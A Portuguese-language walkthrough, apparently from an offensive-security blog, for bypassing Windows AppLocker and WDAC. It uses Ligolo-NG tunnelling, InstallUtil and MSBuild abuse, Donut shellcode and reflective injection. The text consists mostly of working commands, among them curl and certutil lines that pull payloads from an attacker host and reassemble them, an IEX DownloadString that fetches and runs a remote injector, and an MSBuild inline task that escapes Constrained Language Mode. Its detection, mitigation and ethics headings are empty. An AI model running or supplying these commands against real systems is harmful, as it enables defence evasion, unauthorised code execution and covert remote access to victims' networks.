NT-2026.09.30 DOSSIÊ

BYPASS APPLOCKER/WDAC COM LIGOLO-NG: EXECUÇÃO EM MEMÓRIA

Demonstra como contornar AppLocker e WDAC usando Ligolo-NG, InstallUtil e MSBuild para execucao em memoria de shellcode via binarios Microsoft assinados.

Diagrama fluxo bypass AppLocker WDAC: restricao -> InstallUtil/MSBuild -> shellcode memoria -> sessao Ligolo

Visao geral

Este artigo demonstra uma cadeia completa de bypass de controles de aplicacao Windows (AppLocker e WDAC) utilizando o framework Ligolo-NG para estabelecimento de tunel criptografado, combinado com tecnicas de execucao em memoria via binarios Microsoft assinados (LOLBins) como InstallUtil e MSBuild.

A progressao segue o padrao adversarial realista: confirmacao de restricao, preparacao de infraestrutura, staging de payload, abuso de binario confiavel para execucao inicial, geracao de shellcode position-independent via Donut, injecao reflexiva em processo legitimo, estabelecimento de sessao Ligolo, descoberta de Constrained Language Mode, e bypass final via MSBuild inline task para executar codigo C# embarcado fora das restricoes do PowerShell.

Contexto tecnico

AppLocker e Windows Defender Application Control (WDAC) sao mecanismos de controle de aplicacao nativos do Windows projetados para restringir a execucao de codigo nao autorizado. AppLocker opera via regras de publisher, path, hash ou arquivo, enquanto WDAC utiliza politicas de assinatura de codigo mais rigidas baseadas em certificados raiz confiaveis.

Ambos os controis focam primariamente em execucao baseada em arquivo: impedem que binarios nao assinados ou nao autorizados sejam lancados diretamente do disco. No entanto, nao impedem a execucao de logica maliciosa dentro de processos ja confiaveis e assinados pela Microsoft — o que torna possivel o abuso de binarios LOLBins (Living Off The Land Binaries) como InstallUtil.exe, msbuild.exe, certutil.exe, regsvr32.exe, entre outros.

Ligolo-NG e uma ferramenta de tunneling reverso moderno que estabelece conexoes TLS criptografadas entre um agente no alvo e um proxy no atacante, permitindo pivoting de rede interno sem expor portas no alvo. Donut e um gerador de shellcode position-independent que converte executaveis PE (Portable Executable) em shellcode raw para execucao puramente em memoria via tecnicas de Reflective Code Loading (T1620).

O Fluxo do Ataque

Apresentar a progressao adversarial tipica em ambientes com WDAC e AppLocker: restricao, verificacao, preparacao de payload, abuso de binario confiavel, execucao em memoria, estabelecimento de sessao.

Evidencia tecnica: O Fluxo do Ataque
Evidencia tecnica demonstrando o fluxo do ataque

Mapeamento MITRE ATT&CK

Mapear as tecnicas demonstradas: T1562.001 (AppLocker bypass), T1218.004 (MSBuild), T1620 (Reflective Code Loading), T1105 (Ingress Tool Transfer), T1071.001 (C2 over HTTPS), T1090 (Proxy Tool).

Pre-requisitos

Listar componentes necessarios: Kali Linux (atacante), Windows (vitima), AppLocker configurado, SharpReflectivePEInjection, MSBuild (.NET Framework), Ligolo-NG, Donut.

Aplicacao de Controle de Aplicacoes

Configurar politicas AppLocker via GPO para simular ambiente empresarial realista onde executaveis nao assinados sao bloqueados.

Evidencia tecnica: Aplicacao de Controle de Aplicacoes
Evidencia tecnica demonstrando aplicacao de controle de aplicacoes

Abrir Gerenciamento de Politica de Grupo

Acessar o console GPO para configurar regras AppLocker no nivel de computador.

Evidencia tecnica: Abrir Gerenciamento de Politica de Grupo
Evidencia tecnica demonstrando abrir gerenciamento de politica de grupo

Navegar Politicas de Controle de Aplicacoes

Criar regra bloqueando executaveis nao assinados em Computer Configuration > Windows Settings > Security Settings > Application Control Policies > AppLocker.

Evidencia tecnica: Navegar Politicas de Controle de Aplicacoes
Evidencia tecnica demonstrando navegar politicas de controle de aplicacoes

Aplicar Politica

Forcar atualizacao de politica para garantir enforcamento ativo antes de testar bypass.

gpupdate /force
Evidencia tecnica: Aplicar Politica
Evidencia tecnica demonstrando aplicar politica

Confirmar Bloqueio de Execucao

Validar que controles defensivos estao bloqueando binarios nao assinados antes de tentar bypass.

Tentativa de Execucao Direta

Tentar executar agente Ligolo diretamente para confirmar bloqueio AppLocker.

wget http://192.168.1.42/agent.exe -o agent.exe
.\agent.exe
Evidencia tecnica: Tentativa de Execucao Direta
Evidencia tecnica demonstrando tentativa de execucao direta

Preparando Infraestrutura Ligolo

Preparar payload customizado e infraestrutura C2 para deploy posterior via caminhos alternativos de execucao.

Clonar Repositorio Ligolo

Obter codigo-fonte do Ligolo-NG no Kali para compilacao customizada.

git clone https://github.com/nicocha30/ligolo-ng.git
Evidencia tecnica: Clonar Repositorio Ligolo
Evidencia tecnica demonstrando clonar repositorio ligolo

Navegar para Fonte do Agente

Entrar no diretorio do agente para modificacao e compilacao customizada.

cd ligolo-ng/cmd/agent
Evidencia tecnica: Navegar para Fonte do Agente
Evidencia tecnica demonstrando navegar para fonte do agente

Ajustar Configuracao do Agente

Modificar main.go onde necessario para build customizado que reduz assinaturas de deteccao.

Evidencia tecnica: Ajustar Configuracao do Agente
Evidencia tecnica demonstrando ajustar configuracao do agente

Compilar Agente

Compilar programa Go em cmd/agent/main.go produzindo agent.exe Windows que sera transformado em shellcode.

go build -o agent.exe cmd/agent/main.go
Evidencia tecnica: Compilar Agente
Evidencia tecnica demonstrando compilar agente

Abrir Projeto SharpReflectivePEInjection no Visual Studio

Abrir projeto carregador PE reflexivo capaz de executar binarios arbitrarios diretamente em memoria.

Evidencia tecnica: Abrir Projeto SharpReflectivePEInjection no Visual Studio
Evidencia tecnica demonstrando abrir projeto sharpreflectivepeinjection no visual studio

Compilar Solucao

Compilar projeto via Build > Build Solution gerando executavel carregador reflexivo para encoding e staging posterior.

Evidencia tecnica: Compilar Solucao
Evidencia tecnica demonstrando compilar solucao

Verificar Binario Compilado na Pasta Release

Confirmar existencia de SharpReflectivePEInjection.exe em bin/x64/Release validando compilacao bem-sucedida.

Evidencia tecnica: Verificar Binario Compilado na Pasta Release
Evidencia tecnica demonstrando verificar binario compilado na pasta release

Codificar Carregador Reflexivo em Base64

Converter binario em formato Base64 para transporte e embedding em scripts/XML.

certutil -encode .\SharpReflectivePEInjection.exe loader.txt
Evidencia tecnica: Codificar Carregador Reflexivo em Base64
Evidencia tecnica demonstrando codificar carregador reflexivo em base64

Mover Carregador e Preparar Ambiente de Hospedagem

Confirmar existencia de agent.exe e loader.txt, iniciar servidor HTTP Python para staging.

python3 -m http.server 80
Evidencia tecnica: Mover Carregador e Preparar Ambiente de Hospedagem
Evidencia tecnica demonstrando mover carregador e preparar ambiente de hospedagem

Estabelecendo Proxy Ligolo

Operacionalizar infraestrutura C2 criptografada para receber callbacks imediatos apos execucao de codigo.

Iniciar Proxy Ligolo (-selfcert)

Estabelecer listener TLS criptografado com certificado auto-assinado aguardando conexao do agente.

sudo ligolo-proxy -selfcert
Evidencia tecnica: Iniciar Proxy Ligolo (-selfcert)
Evidencia tecnica demonstrando iniciar proxy ligolo (-selfcert)

Transferencia e Reconstrucao de Payload no Alvo

Transferir e reconstruir payload no Windows restrito usando apenas utilitarios nativos.

Baixar e Reconstruir Payload com Utilitarios Nativos

Usar curl + certutil para baixar agente, recuperar carregador Base64, decodificar em ligolo.exe e remover artefato codificado.

cmd.exe /c curl http://192.168.1.42/agent.exe -o C:\Users\Public\try-agent.exe && curl http://192.168.1.42/loader.txt -o C:\Users\Public\enc.txt && certutil -decode C:\Users\Public\enc.txt C:\Users\Public\ligolo.exe && del C:\Users\Public\enc.txt
Evidencia tecnica: Baixar e Reconstruir Payload com Utilitarios Nativos
Evidencia tecnica demonstrando baixar e reconstruir payload com utilitarios nativos

Verificar Payload

Listar conteudo de C:\Users\Public\ confirmando try-agent.exe e ligolo.exe antes de tentar execucao via binario confiavel.

Evidencia tecnica: Verificar Payload
Evidencia tecnica demonstrando verificar payload

Executar Payload Usando InstallUtil (Abuso de Binario Confiavel)

Executar payload nao assinado via InstallUtil.exe (binario Microsoft assinado) para burlar AppLocker.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U ligolo.exe
Evidencia tecnica: Executar Payload Usando InstallUtil (Abuso de Binario Confiavel)
Evidencia tecnica demonstrando executar payload usando installutil (abuso de binario confiavel)

Agente Conecta de Volta com Sucesso

Confirmar sessao ativa no proxy Ligolo: DC1\user@SRV2 – 192.168.122.15, validando execucao de codigo e tunnel reverso.

Evidencia tecnica: Agente Conecta de Volta com Sucesso
Evidencia tecnica demonstrando agente conecta de volta com sucesso

Baixar e Extrair Pacote Oficial do Agente Ligolo (Lado Atacante)

Preparar binario oficial agent.exe para deploy controlado e operacoes de pivoting.

ls ligolo-ng_agent_0.8.*
unzip ligolo-ng_agent_0.8.3_windows_amd64.zip
Evidencia tecnica: Baixar e Extrair Pacote Oficial do Agente Ligolo (Lado Atacante)
Evidencia tecnica demonstrando baixar e extrair pacote oficial do agente ligolo (lado atacante)

Instalar Donut

Instalar ferramenta que converte PE em shellcode position-independent para execucao somente em memoria.

sudo apt install donut
Evidencia tecnica: Instalar Donut
Evidencia tecnica demonstrando instalar donut

Geracao de Shellcode

Transicionar de execucao baseada em arquivo para shellcode residente em memoria burlando politicas de controle de aplicacao.

Converter Agente em Shellcode

Gerar agent.bin via Donut transformando executavel em shellcode in-memory evitando controles de execucao de arquivo.

donut -f 1 -o agent.bin -a 2 -p "-connect 192.168.1.42:11601 -ignore-cert" -i agent.exe
Evidencia tecnica: Converter Agente em Shellcode
Evidencia tecnica demonstrando converter agente em shellcode

Criar Carregador Reflexivo PowerShell (ligolo.ps1)

Script verifica execucao 64-bit, lança processo legitimo suspenso, baixa agent.bin e injeta shellcode no processo.

Evidencia tecnica: Criar Carregador Reflexivo PowerShell (ligolo.ps1)
Evidencia tecnica demonstrando criar carregador reflexivo powershell (ligolo.ps1)

Hospedagem de Payload

Estabelecer mecanismo leve para servir scripts e shellcode sem complexidade adicional de tooling.

Hospedar agent.bin e ligolo.ps1 via Python HTTP Server

Expor shellcode e carregador reflexivo para recuperacao remota via HTTP leve.

ls -la ligolo.ps1 agent.bin
python -m http.server 80
Evidencia tecnica: Hospedar agent.bin e ligolo.ps1 via Python HTTP Server
Evidencia tecnica demonstrando hospedar agent.bin e ligolo.ps1 via python http server

Injecao de Memoria via PowerShell & Bypass AppLocker

Mudar para execucao reflexiva in-memory usando carregador PowerShell para burlar enforcamento baseado em arquivo.

Injecao Reflexiva de Shellcode via Carregador PowerShell

Executar IEX baixando ligolo.ps1 remoto que lança notepad.exe suspenso, injeta agent.bin e retoma execucao.

IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.42/ligolo.ps1')
Evidencia tecnica: Injecao Reflexiva de Shellcode via Carregador PowerShell
Evidencia tecnica demonstrando injecao reflexiva de shellcode via carregador powershell

Callback Ligolo & Estabelecimento de Sessao

Confirmar compromisso via infraestrutura atacante quando agente conecta e registra sessao ativa.

Evidencia tecnica: Callback Ligolo & Estabelecimento de Sessao
Evidencia tecnica demonstrando callback ligolo & estabelecimento de sessao

Descoberta Modo Linguagem Restrita (CLM)

Identificar que PowerShell esta em Constrained Language Mode restringindo criacao de objetos e scripting avancado.

Evidencia tecnica: Descoberta Modo Linguagem Restrita (CLM)
Evidencia tecnica demonstrando descoberta modo linguagem restrita (clm)

Bypass CLM via MSBuild Inline Task Execution

Burlar CLM executando codigo C# embarcado em projeto MSBuild dentro de contexto confiavel .NET.

Criar Tarefa Inline MSBuild (ligolo-clm.xml)

Criar arquivo projeto MSBuild malicioso com codigo C# embarcado em bloco CDATA para execucao PowerShell fora do CLM.

Evidencia tecnica: Criar Tarefa Inline MSBuild (ligolo-clm.xml)
Evidencia tecnica demonstrando criar tarefa inline msbuild (ligolo-clm.xml)

Staging XML, Shellcode e Carregador para Entrega

Confirmar arquivos necessarios e iniciar servidor HTTP no Kali para entrega.

ls -l ligolo-clm.xml ligolo.ps1 agent.bin
python -m http.server 80
Evidencia tecnica: Staging XML, Shellcode e Carregador para Entrega
Evidencia tecnica demonstrando staging xml, shellcode e carregador para entrega

Baixar e Executar Projeto MSBuild no Alvo

Executar msbuild.exe com projeto XML que compila e executa tarefa C# embarcando invocando carregador PowerShell fora restricoes CLM.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe ligolo-clmbypass.xml
Evidencia tecnica: Baixar e Executar Projeto MSBuild no Alvo
Evidencia tecnica demonstrando baixar e executar projeto msbuild no alvo

Confirmar Segundo Callback Agente no Ligolo

Validar nova sessao confirmando bypass bem-sucedido e execucao via MSBuild operando fora contexto PowerShell restrito.

Evidencia tecnica: Confirmar Segundo Callback Agente no Ligolo
Evidencia tecnica demonstrando confirmar segundo callback agente no ligolo

Perspectiva defensiva

Deteccao

Mitigacao

Limitacoes

Etica

Conclusao